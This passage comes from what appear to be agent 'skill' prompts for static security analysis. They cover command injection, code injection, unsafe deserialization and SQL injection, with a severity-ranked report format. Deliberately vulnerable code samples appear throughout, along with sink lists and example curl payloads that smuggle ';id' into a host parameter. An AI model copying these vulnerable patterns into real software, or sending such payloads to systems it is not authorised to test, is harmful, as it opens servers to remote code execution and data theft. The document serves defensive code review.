function runScript(userScript) {
return execSync('node scripts/' + userScript);
}
// SECURE: spawn with separate args
app.get('/search', (req, res) => {
const query = req.query.q;
const proc = spawn('grep', ['-r', query, '/var/log/app/']);
proc.stdout.on('data', (data) => res.write(data));
proc.on('close', () => res.end());
});
```
### OS Command Injection — PHP
```php
// VULNERABLE: shell_exec with user input
function generateThumbnail($file) {
$size = $_GET['size'];
shell_exec("convert {$file} -resize {$size} thumb.jpg");
}
// VULNERABLE: backtick operator
function checkHost() {
$host = $_POST['host'];
$result = `ping -c 1 $host`;
return $result;
}
// SECURE: escapeshellarg (reduces risk — but prefer removing shell entirely)
function generateThumbnail($file) {
$size = escapeshellarg($_GET['size']);
$file = escapeshellarg($file);
shell_exec("convert $file -resize $size thumb.jpg");
}
```
### OS Command Injection — Ruby
```ruby
# VULNERABLE: string interpolation in system()
get '/convert' do
format = params[:format]
system("ffmpeg -i input.mp4 -f #{format} output")
end
# VULNERABLE: backtick with user input
def check_dns
`nslookup #{params[:host]}`
end
# SECURE: system() with separate args (no shell expansion)
get '/convert' do
format = params[:format]
ALLOWED = %w[mp4 avi mkv]
return 400 unless ALLOWED.include?(format)
system("ffmpeg", "-i", "input.mp4", "-f", format, "output")
end
```
### Code Injection — Python eval/exec
```python
# VULNERABLE: eval with user input
@app.route('/calculate')
def calculate():
expr = request.args.get('expr')
result = eval(expr) # attacker can run __import__('os').system('id')
return str(result)
# VULNERABLE: exec with user code
@app.route('/run')
def run_code():
code = request.json.get('code')
exec(code) # full arbitrary code execution
return "ok"
# SECURE: ast.literal_eval for safe expression parsing (literals only)
from ast import literal_eval
@app.route('/parse')
def parse():
data = request.args.get('data')
result = literal_eval(data) # only parses strings/numbers/lists/dicts/bools
return str(result)
```
### Code Injection — JavaScript eval / Function
```javascript
// VULNERABLE: eval with user input
app.post('/formula', (req, res) => {
const formula = req.body.formula;
const result = eval(formula); // RCE: process.exit(), require('child_process')...
res.json({ result });
});
// VULNERABLE: new Function() constructor
function compute(userExpression) {
const fn = new Function('x', `return ${userExpression}`);
return fn(42);
}
// VULNERABLE: vm.runInNewContext (sandbox escape via __proto__ pollution)
const vm = require('vm');
app.post('/eval', (req, res) => {
const result = vm.runInNewContext(req.body.code);
res.json({ result });
});
// SECURE: use a math expression library (no arbitrary code)
const { evaluate } = require('mathjs');
app.post('/formula', (req, res) => {
const result = evaluate(req.body.formula); // sandboxed math expressions only
res.json({ result });
});
```
### Unsafe Deserialization — Python pickle
```python
# VULNERABLE: deserializing user-supplied pickle data
@app.route('/load', methods=['POST'])
def load_session():
data = request.get_data()
session = pickle.loads(data) # attacker controls __reduce__ → RCE
return jsonify(session)
# VULNERABLE: base64-encoded pickle from cookie
@app.route('/profile')
def profile():
session_cookie = request.cookies.get('session')
data = base64.b64decode(session_cookie)
user = pickle.loads(data) # crafted cookie → arbitrary code at deserialization
return render_template('profile.html', user=user)
# SECURE: use JSON (no code execution semantics)
@app.route('/profile')
def profile():
session_cookie = request.cookies.get('session')
user = json.loads(base64.b64decode(session_cookie))
return render_template('profile.html', user=user)
```
### Unsafe Deserialization — Java
```java
// VULNERABLE: ObjectInputStream.readObject() on user-supplied stream
@PostMapping("/deserialize")
public ResponseEntity<?> deserialize(@RequestBody byte[] data) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
Object obj = ois.readObject(); // gadget chains (Commons Collections, Spring, etc.) → RCE
return ResponseEntity.ok(obj);
}
// VULNERABLE: Jackson with enableDefaultTyping
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // attacker specifies arbitrary class type in JSON → RCE
MyData data = mapper.readValue(userJson, MyData.class);
// SECURE: Jackson with concrete type, no enableDefaultTyping
ObjectMapper mapper = new ObjectMapper();
MyData data = mapper.readValue(userJson, MyData.class); // safe with concrete target type
```
### Unsafe Deserialization — PHP
```php
// VULNERABLE: unserialize() with user input
function loadProfile() {
$data = base64_decode($_COOKIE['profile']);
$user = unserialize($data); // PHP object injection → POP chain → RCE
return $user;
}
// VULNERABLE: unserialize from POST body
$obj = unserialize($_POST['data']);
// SECURE: json_decode instead
function loadProfile() {
$data = base64_decode($_COOKIE['profile']);
$user = json_decode($data, true); // no code execution semantics
return $user;
}
```
### Unsafe Deserialization — Ruby Marshal
```ruby
# VULNERABLE: Marshal.load with user-supplied data
post '/restore' do
data = Base64.decode64(params[:state])
object = Marshal.load(data) # arbitrary Ruby object graph → RCE via gadgets
object.process
end
# SECURE: use JSON
post '/restore' do
data = JSON.parse(Base64.decode64(params[:state]))
# work with plain data structures only
end
```
### Unsafe Deserialization — Node.js
```javascript
// VULNERABLE: node-serialize (known RCE via IIFE in serialized string)
const serialize = require('node-serialize');
app.post('/restore', (req, res) => {
const obj = serialize.unserialize(req.body.data); // IIFE payload → RCE
res.json(obj);
});
// VULNERABLE: js-yaml v3 yaml.load (executes JS functions in YAML tags)
const yaml = require('js-yaml');
const data = yaml.load(userInput); // !!js/function payload → RCE
// SECURE: yaml.safeLoad (v3) or FAILSAFE_SCHEMA (v4)
const data = yaml.safeLoad(userInput); // only loads plain data types
```
### Unsafe YAML — Python
```python
# VULNERABLE: yaml.load without Loader
import yaml
data = yaml.load(user_input) # !!python/object/apply: payload → RCE
# SECURE: yaml.safe_load
data = yaml.safe_load(user_input) # only loads basic data types
```
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: Find Dangerous Execution Sinks
Launch a subagent with the following instructions:
> **Goal**: Find every location in the codebase where OS commands are executed, code is dynamically evaluated, or data is deserialized using an unsafe deserializer. Flag ANY dynamic variable passed to these sinks, regardless of where it originates. Write results to `sast/rce-recon.md`.
>
> **Context**: You will be given the project's architecture summary. Use it to understand the tech stack, language, frameworks, and any serialization patterns in use.
>
> ---
>
> **Category 1 — OS Command Execution Sinks**
>
> Look for functions that execute OS commands where the command string or arguments may be dynamically constructed. Flag when any non-constant variable appears in a dangerous position:
>
> **Python:**
> - `os.system(var)` — always flag if any variable
> - `os.popen(var)` — always flag if any variable
> - `subprocess.run(var, shell=True)`, `subprocess.call(var, shell=True)`, `subprocess.Popen(var, shell=True)`, `subprocess.check_output(var, shell=True)` — flag if `shell=True` AND a variable appears in the command string, OR if the command is a string (not a list) with any variable
> - `subprocess.run(f"cmd {var}")` without `shell=True` — flag: passing a string (not list) to subprocess can still be unsafe
> - `commands.getoutput(var)`, `commands.getstatusoutput(var)` — always flag
>
> **Node.js / JavaScript:**
> - `child_process.exec(var)`, `child_process.execSync(var)` — flag if any variable in command string
> - `child_process.execFile(var, ...)` — flag if command or args contain variables
> - `child_process.spawn(var, ...)` or `spawn(cmd, args)` with `shell: true` and variable in command — flag
> - `shelljs.exec(var)`, `execa(var)` — flag if variable in command
>
> **PHP:**
> - `exec(var)`, `system(var)`, `passthru(var)`, `shell_exec(var)`, `popen(var, ...)`, `proc_open(var, ...)` — flag if any variable in command string
> - Backtick operator: `` `...{$var}...` `` or `` `$var` `` — always flag
>
> **Ruby:**
> - `system(var)`, `exec(var)`, `spawn(var)`, `IO.popen(var)`, `Open3.popen3(var)` — flag if string form with interpolated variable
> - Backtick operator: `` `...#{var}...` `` — always flag
> - `%x{...#{var}...}` — always flag
>
> **Java:**
> - `Runtime.getRuntime().exec(var)` — flag if string argument contains variable concatenation
> - `new ProcessBuilder(var)` or `ProcessBuilder` constructed from variable-containing list — flag
>
> **Go:**
> - `exec.Command(var, ...)` — flag if command name or arguments are dynamically built from variables (especially from string splits of external input)
>
> **C# / .NET:**
> - `Process.Start(var)` — flag if FileName or Arguments are variable
> - `ProcessStartInfo { FileName = var, Arguments = var }` — flag
>
> ---
>
> **Category 2 — Code Evaluation Sinks**
>
> Look for functions that interpret strings as executable code:
>
> **Python:**
> - `eval(var)` — flag if argument is a variable
> - `exec(var)` — flag if argument is a variable
> - `compile(var, ...)` followed by `exec()` — flag
> - `importlib.import_module(var)`, `__import__(var)` — flag if module name is a variable
>
> **JavaScript / Node.js:**
> - `eval(var)` — flag if argument is a variable
> - `new Function(var)`, `new Function('x', var)` — flag if body is a variable
> - `setTimeout(var, delay)`, `setInterval(var, delay)` — flag if first arg is a string variable
> - `vm.runInNewContext(var)`, `vm.runInContext(var)`, `vm.runInThisContext(var)` — flag if variable
> - `require(var)` — flag if module path is a variable (dynamic require with external input → path traversal + potential code execution)
>
> **PHP:**
> - `eval(var)` — always flag if variable in argument
> - `preg_replace(pattern, replacement, subject)` with `/e` modifier in pattern — always flag
> - `assert(var)` with string argument — flag if variable
> - `create_function('', var)` — flag if body is variable
> - `call_user_func(var)`, `call_user_func_array(var, ...)` — flag if function name is a variable
>
> **Ruby:**
> - `eval(var)`, `instance_eval(var)`, `class_eval(var)`, `module_eval(var)` — flag if variable
> - `binding.eval(var)` — flag if variable
>
> ---
>
> **Category 3 — Unsafe Deserialization Sinks**
>
> Look for deserialization of data that may originate externally. For deserialization sinks, flag every usage — the question of whether data is user-controlled is Phase 2's job:
>
> **Python:**
> - `pickle.loads(var)`, `pickle.load(file_var)` — flag always (pickle is inherently unsafe with untrusted data)
> - `marshal.loads(var)`, `marshal.load(file_var)` — flag always
> - `yaml.load(var)` without explicit `Loader=yaml.SafeLoader` — flag (any form without a safe loader)
> - `jsonpickle.decode(var)` — flag always
> - `shelve` accessed with externally-influenced keys
>
> **Java:**
> - `ObjectInputStream.readObject()`, `ObjectInputStream.readUnshared()` — flag always
> - `XMLDecoder.readObject()` — flag always
> - `XStream.fromXML(var)` — flag always (unless XStream security filters are explicitly configured)
> - `ObjectMapper` with `.enableDefaultTyping()` or `.activateDefaultTyping(...)` configured on it — flag the readValue call
> - `Kryo.readObject(var, ...)`, `Kryo.readClassAndObject(var)` — flag if input stream comes from external source
>
> **PHP:**
> - `unserialize(var)` — flag always when argument is a variable
>
> **Ruby:**
> - `Marshal.load(var)`, `Marshal.restore(var)` — flag always
> - `YAML.load(var)` (Psych) without `permitted_classes: []` — flag
>
> **Node.js:**
> - `require('node-serialize').unserialize(var)` — flag always
> - `yaml.load(var)` (js-yaml v3 default unsafe load) — flag
>
> **.NET:**
> - `BinaryFormatter.Deserialize(var)` — flag always
> - `SoapFormatter.Deserialize(var)` — flag always
> - `NetDataContractSerializer.ReadObject(var)` — flag
> - `JavaScriptSerializer.Deserialize(var)` — flag if argument is variable
> - `LosFormatter.Deserialize(var)` — flag always
>
> ---
>
> **What to skip** (these are safe and should not be flagged):
> - `subprocess.run(["cmd", arg1, arg2])` with a list and no `shell=True` — no shell expansion
> - `json.loads(var)`, `JSON.parse(var)`, `json_decode(var)` — safe format with no code execution
> - `yaml.safe_load(var)` or `yaml.load(var, Loader=yaml.SafeLoader)` — safe loader
> - `ast.literal_eval(var)` — only parses Python literals, not arbitrary code
>
> ---
>
> **Output format** — write to `sast/rce-recon.md`:
>
> ```markdown
> # RCE Recon: [Project Name]
>
> ## Summary
> Found [N] potential RCE sinks: [X] OS command, [Y] code injection, [Z] unsafe deserialization.
>
> ## Sinks Found
>
> ### 1. [Descriptive name — e.g., "shell=True subprocess in image converter"]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Function / endpoint**: [function name or route]
> - **Category**: [OS Command Injection / Code Injection / Unsafe Deserialization]
> - **Sink**: [the dangerous function call — e.g., subprocess.run(..., shell=True)]
> - **Dynamic argument(s)**: `var_name` — [brief note on what it appears to represent]
> - **Code snippet**:
> ```
> [the relevant code around the sink]
> ```
>
> [Repeat for each sink]
> ```
### After Phase 1: Check for Candidates Before Proceeding
After Phase 1 completes, read `sast/rce-recon.md`. If the recon found **zero sinks** (the summary reports "Found 0" or the "Sinks Found" section is empty or absent), **skip Phase 2 entirely**. Instead, write the following content to `sast/rce-results.md` and stop:
```markdown
# RCE Analysis Results
No vulnerabilities found.
```
Only proceed to Phase 2 if Phase 1 found at least one potential sink.
### Phase 2: Trace User Input to Sinks
Launch a second subagent **after Phase 1 completes** with the following instructions:
> **Goal**: For each RCE sink in `sast/rce-recon.md`, determine whether a user-supplied value reaches the dangerous argument. Write final results to `sast/rce-results.md`.
>
> **Context**: You will be given the project's architecture summary and the Phase 1 recon output. Use the architecture to understand request entry points, middleware, and how data flows through the application.
>
> **For each sink, trace the dynamic argument(s) backwards to their origin**:
>
> 1. **Direct user input** — the variable is assigned directly from a request source with no transformation:
> - HTTP query params: `request.GET.get(...)`, `req.query.x`, `params[:x]`, `$_GET['x']`, `c.Query("x")`
> - Path parameters: `request.path_params['id']`, `req.params.id`, `params[:id]`
> - Request body / form fields: `request.POST.get(...)`, `req.body.x`, `params[:x]`, `$_POST['x']`
> - HTTP headers: `request.headers.get(...)`, `req.headers['x']`
> - Cookies: `request.COOKIES.get(...)`, `req.cookies.x`
> - File upload content: `request.files['file'].read()`, `req.file.buffer`
> - WebSocket messages, queue/event payloads
>
> 2. **Indirect user input** — the variable is derived from user input through transformations, function calls, or intermediate assignments. Trace the full chain:
> - Variable assigned from a function return value → check that function's parameter origin
> - Variable passed as a function argument → check the call site(s)
> - Variable conditionally assigned — check all branches
>
> 3. **Externally-influenced deserialization data** — for deserialization sinks: Is the raw bytes/string coming from a network socket, HTTP request body, cookie, file upload, or a database value that was originally user-supplied? Any externally-controllable byte stream fed to an unsafe deserializer is exploitable.
>
> 4. **Server-side / hardcoded value** — the variable comes from config, an environment variable, a hardcoded constant, or server-side logic with no external influence — NOT exploitable.
>
> **Mitigations to check for each sink**:
> - **Allowlist validation**: Is the variable validated against a fixed set of known-safe values before use? If strict and complete, mark as Not Vulnerable.
> - **Integer/type cast**: Does casting to `int`/`float` actually prevent injection in this context? Effective only for purely numeric arguments with no quoting issues.
> - **escapeshellarg / escapeshellcmd** (PHP): Reduces risk but is not elimination — flag as Likely Vulnerable; shell escaping has bypass history in certain contexts.
> - **Subprocess list form**: `subprocess.run(["cmd", var])` without `shell=True` — arguments are passed directly to the OS, no shell expansion. This IS an effective mitigation for command injection (mark as Not Vulnerable for injection; the value is still passed to the command, but cannot inject new commands).
> - **Safe deserializer in place**: If `json.loads()`, `yaml.safe_load()`, etc. are used instead — skip (Phase 1 should not have flagged these).
>
> **Classification**:
> - **Vulnerable**: User input demonstrably reaches the dangerous sink with no effective mitigation.
> - **Likely Vulnerable**: User input probably reaches the sink (indirect flow) or only weak mitigation is present (shell escaping, partial validation, unclear allowlist).
> - **Not Vulnerable**: The argument is server-side only, OR effective mitigation is in place (subprocess list form, strict allowlist, safe deserializer format).
> - **Needs Manual Review**: Cannot determine the argument's origin with confidence (passes through opaque helpers, complex conditional flows, or external libraries).
>
> **Output format** — write to `sast/rce-results.md`:
>
> ```markdown
> # RCE Analysis Results: [Project Name]
>
> ## Executive Summary
> - Sinks analyzed: [N]
> - Vulnerable: [N]
> - Likely Vulnerable: [N]
> - Not Vulnerable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Category**: [OS Command Injection / Code Injection / Unsafe Deserialization]
> - **Issue**: [e.g., "HTTP query param `host` flows directly into shell=True subprocess call"]
> - **Taint trace**: [Step-by-step from entry point to the sink — e.g., "request.args.get('host') → host → subprocess.run(f'ping -c 1 {host}', shell=True)"]
> - **Impact**: [What an attacker can do — execute arbitrary OS commands, read /etc/passwd, establish reverse shell, achieve full server compromise, etc.]
> - **Remediation**: [Specific fix — use list-form subprocess, replace eval with safe alternative, switch to json.loads/yaml.safe_load, etc.]
> - **Dynamic Test**:
> ```
> [curl command or payload to confirm the finding.
> Show the exact parameter, payload, and what to look for in the response.
> Examples:
> curl "https://app.example.com/ping?host=127.0.0.1;id"
> curl "https://app.example.com/ping?host=127.0.0.1%3Bid"
> For deserialization: show how to craft a malicious payload with ysoserial or pickletools]
> ```
>
> ### [LIKELY VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Category**: [OS Command Injection / Code Injection / Unsafe Deserialization]
> - **Issue**: [e.g., "Variable likely sourced from user input via helper function" or "escapeshellarg applied but bypassable in some contexts"]
> - **Taint trace**: [Best-effort trace with the uncertain step identified]
> - **Concern**: [Why it's still a risk despite uncertainty]
> - **Remediation**: [Fix]
> - **Dynamic Test**:
> ```
> [payload to attempt]
> ```
>
> ### [NOT VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Reason**: [e.g., "Argument is hardcoded constant" or "subprocess called with list form, no shell=True — shell injection impossible" or "strict allowlist gates the value before use"]
>
> ### [NEEDS MANUAL REVIEW] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Uncertainty**: [Why the variable's origin could not be determined]
> - **Suggestion**: [What to trace manually — e.g., "Follow `build_command()` in utils.py to check where its return value originates"]
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- Phase 2 must run AFTER Phase 1 completes — it depends on the recon output.
- **Phase 1 is purely structural**: flag any sink where a non-constant variable appears in a dangerous position, regardless of where that variable comes from. Do not trace user input in Phase 1.
- **Phase 2 is purely taint analysis**: for each sink found in Phase 1, trace the dynamic argument back to its origin. If it comes from a user-controlled source, the site is a real vulnerability.
- **For deserialization sinks**: any externally-controllable byte stream is dangerous — HTTP bodies, cookies, file uploads, WebSocket frames, queue messages. Be conservative and flag all deserialization sinks where data flow from an external source cannot be ruled out.
- **For OS command sinks**: `subprocess.run(["cmd", var])` with list form and no `shell=True` is NOT command injection — the argument is passed directly to the process without shell interpretation. Only flag when shell interpretation is possible (string command + `shell=True`, or `exec()`/`system()` equivalents).
- **For `eval`-like sinks**: there is almost no safe way to use `eval()` with user input. Any eval-like sink receiving external data should be flagged Vulnerable.
- When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable". False negatives are worse than false positives in security assessment.
- Taint can flow indirectly through middleware, helper functions, class attributes, and intermediate variables. Trace the full chain.
- Second-order RCE is possible: a value stored from user input may later be deserialized or evaluated in a different code path (e.g., a user-supplied config stored in DB and later `eval()`'d by a cron job).
- For Java deserialization: the presence of dangerous gadget libraries in the classpath (Apache Commons Collections, Spring Framework, etc.) determines exploitability. Flag the deserialization call; note any relevant libraries from `architecture.md`.
@@ -0,0 +1,210 @@
---
name: sast-report
description: >-
Consolidate all SAST vulnerability results from the sast/ folder into a single
final report ranked by severity and confidentiality impact. Reads all
*-results.md files and produces sast/final-report.md. Run after all
vulnerability detection skills complete. Use when asked to generate a final
report, consolidate findings, or summarize security results.
---
# Final Security Report Generation
You are consolidating all completed SAST vulnerability scan results into a single prioritized security report.
**Prerequisites**: At least one `sast/*-results.md` file must exist. Run the vulnerability detection skills first if they don't.
---
## What to Include
Only include findings with these classifications from each result file:
- `[VULNERABLE]`
- `[LIKELY VULNERABLE]`
Exclude `[NOT VULNERABLE]` and `[NEEDS MANUAL REVIEW]` findings from the main report body (count them only in the summary).
---
## Severity Ranking
Assign each finding a severity tier — **Critical**, **High**, **Medium**, or **Low** — using the table below as your baseline. Adjust up or down based on context (e.g., an IDOR that exposes financial records is High, not Medium).
| Vulnerability Class | Default Severity |
|---------------------|------------------|
| RCE via command injection, eval, or unsafe deserialization | Critical |
| SSTI (Server-Side Template Injection) | Critical |
| SQLi on authentication endpoints | Critical |
| JWT algorithm confusion (alg:none, RS256→HS256) | Critical |
| File upload leading to code execution (webshell) | Critical |
| SQLi with full data extraction capability | High–Critical |
| GraphQL injection (user-controlled operation document enabling unauthorized fields or gateway abuse) | High–Critical |
| XXE with file read or internal SSRF | High–Critical |
| Missing authentication on sensitive endpoints | High–Critical |
| SSRF reaching internal services or cloud metadata | High |
| Path traversal reading sensitive or config files | High |
| File upload with stored content accessible to others | High |
| IDOR on PII, financial, or health data | High |
| XSS (stored/persistent) | High |
| JWT with missing or bypassable claim validation | Medium–High |
| Missing authentication on lower-sensitivity endpoints | Medium |
| IDOR on non-sensitive data | Medium |
| XSS (reflected or DOM) | Medium |
| Business logic flaws (price manipulation, workflow bypass) | Medium |
| Information disclosure of non-sensitive data | Low |
**Confidentiality as a tiebreaker**: When two findings share the same baseline severity, rank higher the one with greater confidentiality impact — i.e., the greater its potential to expose sensitive user data, credentials, or system internals.
---
## Execution
Perform all steps in-session (no subagents needed).
### Step 1: Discover result files
Check which of these files exist in `sast/`:
- `idor-results.md`
- `sqli-results.md`
- `ssrf-results.md`
- `xss-results.md`
- `rce-results.md`
- `xxe-results.md`
- `fileupload-results.md`
- `pathtraversal-results.md`
- `ssti-results.md`
- `jwt-results.md`
- `missingauth-results.md`
- `businesslogic-results.md`
- `graphql-results.md`
Also read `sast/architecture.md` if it exists (use it for the project name and context when writing severity rationale).
### Step 2: Read and extract findings
Read each existing result file. For every finding classified as `[VULNERABLE]` or `[LIKELY VULNERABLE]`, extract:
- Finding title
- Vulnerability type (derived from the source file)
- File / endpoint affected
- Issue description
- Impact description
- Proof / code path
- Remediation
- Dynamic test steps (if present)
### Step 3: Score and sort
Assign each finding a severity level (Critical / High / Medium / Low) using the table above. Sort all findings:
1. Critical first, then High, Medium, Low
2. Within each tier, sort by confidentiality impact (highest first)
### Step 4: Write `sast/final-report.md`
Use exactly this output format:
---
```markdown
# Security Assessment Final Report
**Project**: [name from architecture.md, or infer from codebase]
**Generated**: [current date]
**Scans completed**: [comma-separated list of scan types that had result files]
---
## Executive Summary
| Severity | Count |
|----------|-------|
| Critical | N |
| High | N |
| Medium | N |
| Low | N |
| **Total confirmed findings** | **N** |
Scans with no confirmed vulnerabilities: [list]
Findings requiring manual review: N (see individual result files for details)
---
## Vulnerability Index
| # | Title | Type | Severity | Endpoint / File |
|---|-------|------|----------|----------------|
| 1 | ... | RCE | Critical | `POST /api/exec` |
| 2 | ... | SQLi | High | `GET /api/users` |
---
## Findings
### Critical
#### [Finding Title] — [Vuln Type]
- **Source scan**: `sast/[type]-results.md`
- **Classification**: Vulnerable *(or "Likely Vulnerable")*
- **Endpoint / File**: ...
- **Severity rationale**: [1–2 sentences explaining why this is Critical, with focus on confidentiality and integrity impact]
- **Issue**: ...
- **Impact**: ...
- **Proof**:
```
[code path or evidence from original finding]
```
- **Remediation**: ...
- **Dynamic Test**:
```
[curl command or step-by-step test instructions from original finding]
```
---
### High
[Same structure as Critical section]
---
### Medium
[Same structure]
---
### Low
[Same structure]
---
## Appendix: Scan Coverage
| Scan | Result File | Status |
|------|-------------|--------|
| IDOR | `sast/idor-results.md` | Completed / Not run |
| SQLi | `sast/sqli-results.md` | Completed / Not run |
| SSRF | `sast/ssrf-results.md` | Completed / Not run |
| XSS | `sast/xss-results.md` | Completed / Not run |
| RCE | `sast/rce-results.md` | Completed / Not run |
| XXE | `sast/xxe-results.md` | Completed / Not run |
| File Upload | `sast/fileupload-results.md` | Completed / Not run |
| Path Traversal | `sast/pathtraversal-results.md` | Completed / Not run |
| SSTI | `sast/ssti-results.md` | Completed / Not run |
| JWT | `sast/jwt-results.md` | Completed / Not run |
| Missing Auth | `sast/missingauth-results.md` | Completed / Not run |
| Business Logic | `sast/businesslogic-results.md` | Completed / Not run |
| GraphQL injection | `sast/graphql-results.md` | Completed / Not run |
```
---
## Important Reminders
- Include ONLY `[VULNERABLE]` and `[LIKELY VULNERABLE]` findings in the Findings section.
- Mark `[LIKELY VULNERABLE]` findings clearly: append **⚠ Likely Vulnerable** after the finding title.
- Preserve all details from the original findings — do not summarize or truncate Proof, Remediation, or Dynamic Test sections.
- If `sast/architecture.md` exists, use it to enrich the severity rationale with application-specific context (e.g., "this endpoint handles payment data, making confidentiality impact Critical").
- Omit severity sections entirely (e.g., the `### Low` heading) if no findings fall in that tier.
@@ -0,0 +1,485 @@
---
name: sast-sqli
description: >-
Detect SQL injection vulnerabilities in a codebase using a two-phase approach:
first find unsafe SQL construction sites (string concat, f-strings, unsafe ORM
methods), then trace whether user-supplied input reaches those sites. Requires
sast/architecture.md (run sast-analysis first). Outputs findings to
sast/sqli-results.md. Use when asked to find SQLi or database injection bugs.
---
# SQL Injection (SQLi) Detection
You are performing a focused security assessment to find SQL injection vulnerabilities in a codebase. This skill uses a two-phase approach with subagents: **construction** (find all places where SQL queries are built unsafely) then **taint** (confirm whether user-supplied input reaches those construction sites).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is SQL Injection
SQL injection occurs when user-supplied input is incorporated into SQL queries through string concatenation or interpolation rather than parameterized binding. This allows attackers to alter query logic, bypass authentication, extract sensitive data, modify or delete records, and in some configurations execute OS commands.
The core pattern: *unvalidated, unparameterized user input reaches a SQL query execution call.*
### What SQLi IS
- Concatenating user input directly into a SQL string: `"SELECT * FROM users WHERE name = '" + username + "'"`
- Using string formatting to build queries: `f"SELECT * FROM orders WHERE id = {order_id}"`
- Dynamic `ORDER BY` / `GROUP BY` / table/column names from user input with no allowlist validation
- ORM raw query methods with unsanitized input: `User.objects.raw(f"SELECT * WHERE id={id}")`, `$queryRawUnsafe(input)`
- Second-order injection: input is stored in the DB and later used in a raw query without re-sanitization
### What SQLi is NOT
Do not flag these as SQLi:
- **IDOR**: Changing `?id=1` to `?id=2` to access another user's data — that's Insecure Direct Object Reference, a separate class
- **Mass assignment**: Setting extra ORM model fields from user input — different vulnerability
- **XSS via database**: Storing a `<script>` tag in the DB that's later rendered unescaped — that's XSS, not SQLi
- **NoSQL injection**: Injecting into MongoDB operators — similar concept but a distinct vulnerability class
- **Safe ORM queries**: Parameterized ORM lookups like `User.objects.filter(id=user_id)` or `User.find(params[:id])` — do not flag these
### Patterns That Prevent SQLi
When you see these patterns, the code is likely **not vulnerable**:
**1. Parameterized queries / prepared statements (most common fix)**
```
# Python — cursor.execute with tuple binding
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
# Node.js — mysql2 / pg placeholder binding
db.query("SELECT * FROM users WHERE id = ?", [userId])
pool.query("SELECT * FROM users WHERE id = $1", [userId])
# Java — PreparedStatement
PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
ps.setInt(1, userId);
# Go — database/sql placeholder
db.QueryRow("SELECT * FROM users WHERE id = $1", userID)
# PHP — PDO with named params
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $userId]);
# C# — SqlCommand with parameters
cmd.CommandText = "SELECT * FROM users WHERE id = @id";
cmd.Parameters.AddWithValue("@id", userId);
```
**2. ORM query builder (safe by default)**
```
# Django ORM
User.objects.filter(id=user_id)
# ActiveRecord (Rails)
User.find(params[:id])
User.where(name: params[:name])
# Prisma (tagged template literal form of $queryRaw)
await prisma.$queryRaw`SELECT * FROM users WHERE id = ${userId}`
# Laravel Eloquent (non-raw)
User::find($id)
```
**3. Allowlist validation for dynamic identifiers**
```
# Dynamic ORDER BY — validate column name against a hardcoded set before interpolating
ALLOWED_COLUMNS = {'name', 'created_at', 'price'}
if sort_col not in ALLOWED_COLUMNS:
raise ValueError("Invalid column")
query = f"SELECT * FROM products ORDER BY {sort_col}" # safe only after allowlist check
```
---
## Vulnerable vs. Secure Examples
### Python — Django (raw SQL)
```python
# VULNERABLE: f-string interpolation in raw()
def search_users(request):
username = request.GET.get('username')
users = User.objects.raw(f"SELECT * FROM auth_user WHERE username = '{username}'")
return JsonResponse(list(users.values()), safe=False)
# SECURE: parameterized raw()
def search_users(request):
username = request.GET.get('username')
users = User.objects.raw("SELECT * FROM auth_user WHERE username = %s", [username])
return JsonResponse(list(users.values()), safe=False)
```
### Python — Flask / SQLAlchemy
```python
# VULNERABLE: f-string into text()
@app.route('/search')
def search():
name = request.args.get('name')
result = db.session.execute(text(f"SELECT * FROM products WHERE name = '{name}'"))
return jsonify(result.fetchall())
# SECURE: named bound parameter
@app.route('/search')
def search():
name = request.args.get('name')
result = db.session.execute(
text("SELECT * FROM products WHERE name = :name"), {"name": name}
)
return jsonify(result.fetchall())
```
### Python — sqlite3 / psycopg2
```python
# VULNERABLE
def get_user(username):
cursor.execute("SELECT * FROM users WHERE username = '" + username + "'")
return cursor.fetchone()
# SECURE
def get_user(username):
cursor.execute("SELECT * FROM users WHERE username = ?", (username,))
return cursor.fetchone()
```
### Node.js — mysql2
```javascript
// VULNERABLE: template literal in query string
app.get('/user', async (req, res) => {
const { id } = req.query;
const [rows] = await db.query(`SELECT * FROM users WHERE id = ${id}`);
res.json(rows);
});
// SECURE: placeholder binding
app.get('/user', async (req, res) => {
const { id } = req.query;
const [rows] = await db.query('SELECT * FROM users WHERE id = ?', [id]);
res.json(rows);
});
```
### Node.js — pg (PostgreSQL)
```javascript
// VULNERABLE
app.get('/orders', async (req, res) => {
const status = req.query.status;
const result = await pool.query(`SELECT * FROM orders WHERE status = '${status}'`);
res.json(result.rows);
});
// SECURE
app.get('/orders', async (req, res) => {
const status = req.query.status;
const result = await pool.query('SELECT * FROM orders WHERE status = $1', [status]);
res.json(result.rows);
});
```
### Ruby on Rails
```ruby
# VULNERABLE: string interpolation in where()
def search
@users = User.where("name = '#{params[:name]}'")
end
# VULNERABLE: find_by_sql with interpolation
def find_user
@user = User.find_by_sql("SELECT * FROM users WHERE email = '#{params[:email]}'")
end
# SECURE: parameterized where()
def search
@users = User.where("name = ?", params[:name])
# or using hash form: User.where(name: params[:name])
end
```
### Java — Spring JDBC
```java
// VULNERABLE: string concatenation
public User findUser(String username) {
String sql = "SELECT * FROM users WHERE username = '" + username + "'";
return jdbcTemplate.queryForObject(sql, userRowMapper);
}
// SECURE: parameterized query
public User findUser(String username) {
return jdbcTemplate.queryForObject(
"SELECT * FROM users WHERE username = ?", userRowMapper, username
);
}
```
### Go — database/sql
```go
// VULNERABLE: fmt.Sprintf to build query
func GetUserByName(name string) (*User, error) {
